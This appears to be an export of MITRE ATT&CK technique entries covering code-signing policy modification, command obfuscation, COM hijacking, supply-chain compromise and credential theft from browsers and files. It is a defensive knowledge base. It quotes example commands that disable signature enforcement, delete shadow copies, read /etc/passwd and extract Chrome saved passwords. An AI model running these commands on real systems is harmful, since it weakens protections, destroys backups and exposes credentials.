T1553.006Code Signing Policy ModificationAdversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.

Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)

Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, Modify Registry, rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)

To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct Exploitation for Privilege Escalation using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)
T1059Command and Scripting InterpreterAdversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.

There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)
T1027.010Command ObfuscationAdversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter.(Citation: Akamai JS)(Citation: Malware Monday VBE)

For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, ^+$, and %) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (“Wor”+“d.Application”), order and casing of characters (rev <<<'dwssap/cte/ tac'), globing (mkdir -p '/tmp/:&$NiA'), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)

Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete).(Citation: Twitter Richard WMIC)

Tools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)
T1043Commonly Used PortThis technique has been deprecated. Please use Non-Standard Port where appropriate.

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are

- TCP/UDP:135 (RPC)
- TCP/UDP:22 (SSH)
- TCP/UDP:3389 (RDP)
T1092Communication Through Removable MediaAdversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
T1027.004Compile After DeliveryAdversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Phishing. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
T1500Compile After DeliveryAdversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to Obfuscated Files or Information, text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Spearphishing Attachment. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
T1218.001Compiled HTML FileAdversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
T1223Compiled HTML FileCompiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
T1109Component FirmwareSome adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
T1542.002Component FirmwareAdversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
T1559.001Component Object ModelAdversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).(Citation: Fireeye Hunting COM June 2019)

Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic.(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)
T1175Component Object Model and Distributed COMThis technique has been deprecated. Please use Distributed Component Object Model and Component Object Model.

Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.
T1122Component Object Model HijackingThe Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
T1546.015Component Object Model HijackingAdversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
T1586Compromise AccountsAdversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.
T1554Compromise Client Software BinaryAdversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.

Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.
T1195.003Compromise Hardware Supply ChainAdversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.
T1584Compromise InfrastructureAdversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.

Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support Proxy.(Citation: amnesty_nso_pegasus)

By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)
T1195.001Compromise Software Dependencies and Development ToolsAdversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.
T1195.002Compromise Software Supply ChainAdversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)
T1213.001ConfluenceAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources
T1609Container Administration CommandAdversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)

In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)
T1613Container and Resource DiscoveryAdversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.

These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.
T1552.007Container APIAdversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)

An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod’s service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.
T1053.007Container Orchestration JobAdversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
T1218.002Control PanelAdversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via Phishing campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)
T1196Control Panel ItemsWindows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.
T1574.012COR_PROFILERAdversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
T1136Create AccountAdversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
T1578.002Create Cloud InstanceAn adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may Create Snapshot of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect Data from Local System or for Remote Data Staging.(Citation: Mandiant M-Trends 2020)

Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.
T1543Create or Modify System ProcessAdversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as Launch Daemon and Launch Agent are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)
T1134.002Create Process with TokenAdversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)

Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.

While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.
T1578.001Create SnapshotAn adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in Revert Cloud Instance where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.

An adversary may Create Cloud Instance, mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)
T1056.004Credential API HookingAdversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

- Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
- Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
- Inline hooking, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
T1110.004Credential StuffingAdversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies.

Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

- SSH (22/TCP)
- Telnet (23/TCP)
- FTP (21/TCP)
- NetBIOS / SMB / Samba (139/TCP & 445/TCP)
- LDAP (389/TCP)
- Kerberos (88/TCP)
- RDP / Terminal Services (3389/TCP)
- HTTP/HTTP Management Services (80/TCP & 443/TCP)
- MSSQL (1433/TCP)
- Oracle (1521/TCP)
- MySQL (3306/TCP)
- VNC (5900/TCP)

In addition to management services, adversaries may “target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,” as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
T1589.001CredentialsAdversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.

Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).
T1555Credentials from Password StoresAdversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.
T1503Credentials from Web BrowsersAdversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)

Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary’s objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).
T1555.003Credentials from Web BrowsersAdversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary’s objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).
T1552.001Credentials In FilesAdversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

